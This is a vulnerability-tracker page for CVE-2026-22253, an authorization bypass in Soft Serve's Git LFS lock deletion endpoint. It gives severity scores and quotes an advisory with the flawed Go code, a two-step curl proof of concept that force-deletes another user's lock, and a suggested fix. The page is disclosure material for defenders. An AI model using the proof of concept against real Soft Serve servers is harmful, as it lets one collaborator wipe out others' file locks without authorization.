CVE-2026-22253

mediumpriority · track · 22OT risk · elevatedEPSS 0.003 · 22 %ileEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.30% (22nd) EPSS
CVSS 5.4 · medium
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-22

Soft Serve is a self-hostable Git server for the command line. Prior to version 0.11.2, an authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the force flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely. This issue has been patched in version 0.11.2.

01

cvss

Technical severity, 0–10. One row per scoring source.

5.4
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.15.4mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:Lprimary · NVD / NIST USexploitability 2.8 · impact 2.5
v3.15.4mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:Lsecondary · ENISA EU
v3.15.4mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:Lsecondary · security-advisories@github.comexploitability 2.8 · impact 2.5
v3.15.4mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:Lsecondary · OSV
v3.15mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-6jm8-x3g6-r33jSoft Serve is missing an authorization check in LFS lock deletion2026-01-08ghsa · osvUS

    ## LFS Lock Force-Delete Authorization Bypass ### Summary An authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the `force` flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely. ### Severity - **CWE-863:** Incorrect Authorization - **CVSS 3.1:** 5.4 (Medium) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L` ### Affected Code **File:** `pkg/web/git_lfs.go` **Function:** `serviceLfsLocksDelete` (lines 831–945) **Endpoint:** `POST /<repo>.git/info/lfs/locks/:lockID/unlock` The control flow processes `req.Force` at line 905 before retrieving user context at line 919: ```go // Line 905-916: Force delete executes immediately without authorization if req.Force { if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil { // ... } renderJSON(w, http.StatusOK, l) return // Returns here, never reaching user validation } // Line 919: User context retrieved after force path has exited user := proto.UserFromContext(ctx) ``` ### Proof of Concept **Setup:** Two users with write access to the same repository—User A (lock owner) and User B (attacker). 1. **User A creates a lock:** ```bash curl -X POST http://localhost:23232/repo.git/info/lfs/locks \ -H "Authorization: Basic <user_a_token>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"path": "protected-file.bin"}' ``` 2. **User B deletes User A's lock using force flag:** ```bash curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \ -H "Authorization: Basic <user_b_token>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"force": true}' ``` 3. **Result:** Lock deleted successfully with `200 OK`. Expected: `403 Forbidden`. ### Suggested Fix Retrieve user context and validate authorization before processing the force flag: ```go user := proto.UserFromContext(ctx) if user == nil { renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{ Message: "unauthorized", }) return } if req.Force { if !user.IsAdmin() { renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{ Message: "admin access required for force delete", }) return } if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil { // ... } renderJSON(w, http.StatusOK, l) return } ``` ### Impact **Affected Deployments:** Soft Serve instances with LFS enabled and repositories with multiple collaborators. **Exploitation Requirements:** - Authenticated session - Write access to target repository **Consequences:** - Unauthorized deletion of other users' locks - Bypass of LFS file coordination mechanisms - Potential workflow disruption in collaborative environments **Limitations:** Does not grant file access, escalate repository permissions, or affect repositories where the attacker lacks write access.

  • GO-2026-4290Soft Serve is missing an authorization check in LFS lock deletion in github.com/charmbracelet/soft-serve2026-01-12vendor · osvUS

    Soft Serve is missing an authorization check in LFS lock deletion in github.com/charmbracelet/soft-serve

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-01-08modified 2026-06-17
08

references (8)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan